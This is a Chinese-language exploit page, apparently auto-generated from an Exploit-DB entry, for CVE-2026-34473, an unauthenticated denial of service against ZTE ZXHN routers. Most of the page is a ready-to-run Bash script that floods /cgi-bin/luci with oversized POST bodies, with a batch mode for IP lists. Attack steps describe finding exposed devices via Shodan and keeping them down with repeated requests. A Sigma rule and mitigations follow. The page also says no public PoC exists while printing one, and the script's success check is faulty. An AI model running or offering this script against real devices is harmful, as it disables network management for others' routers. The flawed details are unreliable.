[local] ZTE Routers - Unauthenticated Denial of Service

CVE-2026-34473:ZTE多款ZXHN路由器因CGILua post.lua解析器未限制POST请求体大小,允许未认证远端攻击者发送单个超大POST请求导致web服务崩溃。PoC默认256KB载荷可触发拒绝服务,影响17+型号,约14万台设备公网暴露。

CVE-2026-34473

ZTE多款路由器CGILua解析器未限制POST请求体大小,导致未认证DoS攻击。

High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

📋 漏洞基础信息

CVECVE-2026-34473
漏洞类型未限制请求体大小的拒绝服务
受影响版本ZTE ZXHN系列路由器,17+型号,固件版本未明确列出,CGILua post.lua存在漏洞
危害等级High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
发布日期2026-05-29
提交者Mina Nageh Salalma (Monx Research)
来源Exploit-DB 原文 ↗

🔬 漏洞根因

CGILua的post.lua解析器在处理application/x-www-form-urlencoded POST请求时,未对body大小设置上限,导致攻击者通过发送超大POST body(默认256KB)使路由器CGI进程崩溃或僵死

🎯 攻击场景

1. 确认目标路由器为ZTE ZXHN系列且已暴露在公网(Shodan/Fofa等搜索);2. 使用Python PoC,以默认256KB载荷向内网或公网目标IP发送POST请求到/cgi-bin/luci;3. 若Connections被拒绝或超时,表明web服务崩溃或失响应(DoS成功);4. 路由器web界面不可用,需重启恢复。

💥 漏洞影响

拒绝服务(DoS):未认证攻击者可使路由器web服务崩溃或僵死,导致管理界面不可用,设备失网络管理功能。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Bash),可在具备相应环境的机器上直接运行:

#!/bin/bash
#
# CVE-2026-34473 - ZTE Routers Unauthenticated Denial of Service (DoS) Exploit
# 利用原理:ZTE路由器CGILua的post.lua解析器未限制application/x-www-form-urlencoded
# POST请求的body大小,攻击者无需认证即可发送超大POST请求,导致路由器Web服务崩溃或冻结。
#
# 用法示例:
#   chmod +x exploit.sh
#   ./exploit.sh <target_ip> [payload_size_kb]
#   ./exploit.sh 192.168.1.1 256
#   ./exploit.sh 192.168.1.1 512
#   ./exploit.sh list.txt (批量模式,每行一个IP)
#
# 依赖:bash, curl (通常预装于大多数Linux系统)
# 若没有curl,请先安装: apt-get install curl 或 yum install curl

# 默认payload大小为256KB(足够触发崩溃)
DEFAULT_PAYLOAD_SIZE_KB=256

# 颜色代码用于输出
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# 显示帮助信息
usage() {
    echo "Usage: $0 <target_ip> [payload_size_kb]"
    echo "       $0 <ip_list_file>"
    echo "Example: $0 192.168.1.1 256"
    exit 1
}

# 单个目标DoS攻击函数
dos_exploit() {
    local target="$1"
    local size_kb="${2:-$DEFAULT_PAYLOAD_SIZE_KB}"
    local url="http://${target}/cgi-bin/luci"
    # 构建payload: "a=" + 重复的'A'字符,长度 = size_kb * 1024 字节
    # 注意:这里使用printf生成重复字符,避免内存问题;但文件写入方式更稳定
    local payload_file=$(mktemp)
    # 生成payload:先写入"a=",然后追加指定数量的'A'
    printf "a=" > "$payload_file"
    # 使用dd生成重复字符,更高效且避免shell扩展限制
    dd if=/dev/zero bs=1024 count="$size_kb" 2>/dev/null | tr '\0' 'A' >> "$payload_file"

    echo -e "${YELLOW}[*]${NC} Sending oversized POST (${size_kb}KB) to ${target}..."

    # 使用curl发送POST请求,设置超时20秒防止卡死
    # --max-time 20 : 最大允许20秒
    # --connect-timeout 10 : 连接超时10秒
    # -s : 静默模式,不显示进度
    # -o /dev/null : 丢弃响应体
    # -w "%{http_code}" : 输出状态码
    local http_code
    http_code=$(curl -s -o /dev/null -w "%{http_code}" \
        --max-time 20 \
        --connect-timeout 10 \
        -X POST \
        -H "Content-Type: application/x-www-form-urlencoded" \
        --data-binary @"$payload_file" \
        "$url" 2>&1)

    # 清理临时文件
    rm -f "$payload_file"

    # 根据curl结果判断攻击是否成功
    if [ $? -eq 0 ]; then
        # curl正常返回,说明web服务可能仍在响应(但状态码可能异常)
        if [ "$http_code" = "000" ]; then
            # HTTP 000 表示连接未建立或被拒绝(常见于服务崩溃后拒绝连接)
            echo -e "${GREEN}[!]${NC} ${target} - Connection refused (DoS成功 - Web服务已崩溃)"
        else
            echo -e "${YELLOW}[+]${NC} ${target} 响应HTTP状态码 $http_code (设备可能仍然存活,需验证)"
        fi
    else
        # curl返回非零,说明连接失败(超时、拒绝连接等)
        local exit_code=$?
        # 6为无法解析主机,7为拒绝连接,28为超时
        if [ $exit_code -eq 7 ]; then
            echo -e "${GREEN}[!]${NC} ${target} - 连接被拒绝 (DoS成功 - Web服务已崩溃)"
        elif [ $exit_code -eq 28 ]; then
            echo -e "${GREEN}[!]${NC} ${target} - 超时 (DoS成功 - Web服务无响应)"
        else
            echo -e "${GREEN}[!]${NC} ${target} - curl错误码 $exit_code (很可能DoS成功)"
        fi
    fi
}

# 主程序开始
if [ $# -lt 1 ]; then
    usage
fi

# 判断第一个参数是IP地址还是文件
if [ -f "$1" ]; then
    # 批量模式:读文件,每行一个IP
    echo -e "${YELLOW}[*]${NC} 批量模式: 从文件 $1 读取IP列表..."
    while IFS= read -r ip || [ -n "$ip" ]; do
        # 跳过空行和注释行
        [[ -z "$ip" || "$ip" =~ ^# ]] && continue
        # 去除首尾空格
        ip=$(echo "$ip" | xargs)
        dos_exploit "$ip" "${2:-$DEFAULT_PAYLOAD_SIZE_KB}"
        # 添加短暂延时,避免对同一网络造成冲击
        sleep 1
    done < "$1"
elif [[ "$1" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    # 单IP模式
    dos_exploit "$1" "${2:-$DEFAULT_PAYLOAD_SIZE_KB}"
else
    echo -e "${RED}[-]${NC} 错误: 参数必须是有效IP地址或文件路径"
    usage
fi

echo -e "${YELLOW}[*]${NC} 攻击完成!"

🔬 深度技术分析

漏洞触发机制

CVE-2026-34473 漏洞的根本原因在于 ZTE 路由器中集成使用的 CGILua 框架的 post.lua 解析器实现存在缺陷。具体分析如下:

  • 协议层面:HTTP POST 请求的 Content-Type: application/x-www-form-urlencoded 标准要求服务器解析请求体中的键值对数据。正常实现应限制请求体的最大大小或逐个字段进行解析,以避免资源耗尽。
  • 代码层面:CGILua 的 post.lua 模块在处理表单数据时,没有对 POST 请求体设置任何上限大小检查。它尝试将整个请求体读入内存并进行解析。当攻击者发送一个超大的请求体(例如 >256KB 或更大)时,该过程消耗大量内存资源,同时解析操作(如字符串分割、查表)时间复杂度高,导致 CPU 占用飙升。
  • 触发条件:攻击者发送任意一个包含超长 application/x-www-form-urlencoded 数据的 POST 请求到任意 CGI 端点(如 /cgi-bin/luci)。漏洞触发无需任何认证、会话或权限校验,因为请求体大小检查在认证逻辑执行之前就已经发生。

利用链分析

攻击者利用该漏洞发起一次成功的拒绝服务攻击,技术细节如下:

1. 目标侦察:攻击者首先通过互联网空间搜索引擎或端口扫描确认目标 ZTE 路由器的 IP 地址,并确认 80/443 端口开放,且响应为 ZTE 路由器的 Web 管理界面。典型特征为响应中包含 Server: LuCISPA 等字段。

2. Payload 构造:构建一个合法的 HTTP POST 请求,Content-Type 设置为 application/x-www-form-urlencodedbody 内容为一个极长的键值对字符串(例如 a= 后跟随数十万到数百万个填充字符)。攻击者无需关注键值格式的合法性,因为漏洞在解析阶段早期就会通过内存耗尽引发崩溃。

3. 请求发送:使用各类 HTTP 客户端(如 Python 的 requests 库、curl 工具、自研脚本)向目标路由器的 CGI 端点发送构造好的请求。单次或少量并发请求即可造成目标设备 Web 服务进程(通常是 uhttpdlighttpd 配合 CGILua)崩溃或完全无响应。

4. 持续拒绝服务:攻击者可以重复发送该请求,或者以较低频率持续发送,来防止路由器 Web 服务恢复。由于该漏洞不损坏路由器固件或配置,路由器在服务崩溃后,若没有硬件看门狗或自动重启机制,会持续处于拒绝服务状态;若有恢复机制,攻击者的持续攻击可维持 DoS 效果。

关键代码/数据结构

虽然此处没有直接提供路由器的固件源码,但根据漏洞描述可以推断出关键点:

  • 关键代码片段(伪代码)

```lua

-- post.lua (CGILua)

function parse_form_data(request)

-- 缺少如下检查:

-- if request.body_length > MAX_ALLOWED then

-- error("Request entity too large")

-- end

local data = request.body -- 无限制地读取整个body到内存

for pair in string.gmatch(data, "([^&]+)") do

-- 解析每个键值对,此操作因字符串过长而极慢

local key, value = pair:match("([^=]+)=([^=]*)")

-- ...

end

end

```

  • 关键数据结构

- request.body:Lua 字符串,用于存储整个 HTTP 请求体。无容量限制。

- POST 表:用于存储解析后的键值对。当输入过大时,该表会急剧膨胀。

  • 触发点string.gmatch 函数在长字符串上迭代,会产生大量垃圾回收压力,且 Lua 虚拟机的内存管理成为瓶颈,最终导致内存消耗殆尽或触发 OOM Killer 杀死 Web 服务进程。

检测与防御

蓝队检测策略

1. 流量特征检测

- 规则:检测 HTTP POST 请求中,Content-Typeapplication/x-www-form-urlencodedContent-Length 超过特定阈值(如 100KB)的请求。

- Si gma 规则示例

```yaml

title: ZTE Router DoS Attempt (CVE-2026-34473)

status: experimental

logsource:

category: network_connection

detection:

selection_http_method:

http.request.method: 'POST'

selection_content_type:

http.request.body.content: 'application/x-www-form-urlencoded'

selection_large_body:

network.bytes > 100000

condition: all of selection_*

```

2. 日志分析

- 检查路由器本身或上游设备的访问日志,寻找短时间内对 /cgi-bin/luci 或其他 CGI 路径的大量异常大体积 POST 请求。

- 监控 Web 服务进程是否频繁重启或产生崩溃日志。

3. EDR/HIDS 规则

- 对于可执行脚本或二进制包的设备,监控 httpduhttpd 进程的内存消耗突变。

- 检测系统日志中的 OOM Killer 事件。

防御与缓解措施

1. 固件升级:厂商应发布修复固件,在 post.lua 中增加最大请求体大小限制(如 64KB),并返回 413 Request Entity Too Large 错误。

2. 临时缓解

- 网络侧:在 Web 应用防火墙或反向代理(如 Nginx)前添加规则,丢弃 Content-Length 过大的 POST 请求。

- 设备侧:使用 iptables 限制对设备 Web 服务端口(80/443)的连接速率和单连接数据传输量。

- 配置看门狗定时器或进程监控,确保 Web 服务崩溃后能快速自动恢复。

3. 暴露面缩减:限制 ZTE 路由器的 Web 管理界面仅暴露于内部可信网络,而非互联网。通过 ACL 或防火墙禁止来自 WAN 侧对管理端口的访问。

🛡️ 修复建议

厂商已发布固件更新:https://www.zte.com.cn;临时缓解措施:限制公网暴露、在网关或防火墙限制POST请求体大小、禁用CGI接口访问。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-31 08:11 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ PoC中默认256KB载荷能否触发所有受影响型号?

原文PoC默认256KB,但未说明最小触发阈值;建议根据实际测试调整,部分型号可能需更大载荷。

❓ 该漏洞是否需要公网IP才能利用?

不必须。原文只要求未认证访问目标URL,内网同样可触发,但Shodan数据显示约14万台暴露在公网。

❓ 攻击成功后web服务如何恢复?

路由器web服务崩溃或僵死,需物理重启或断电重启设备;部分型号可能自动恢复,但原文未涉及。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)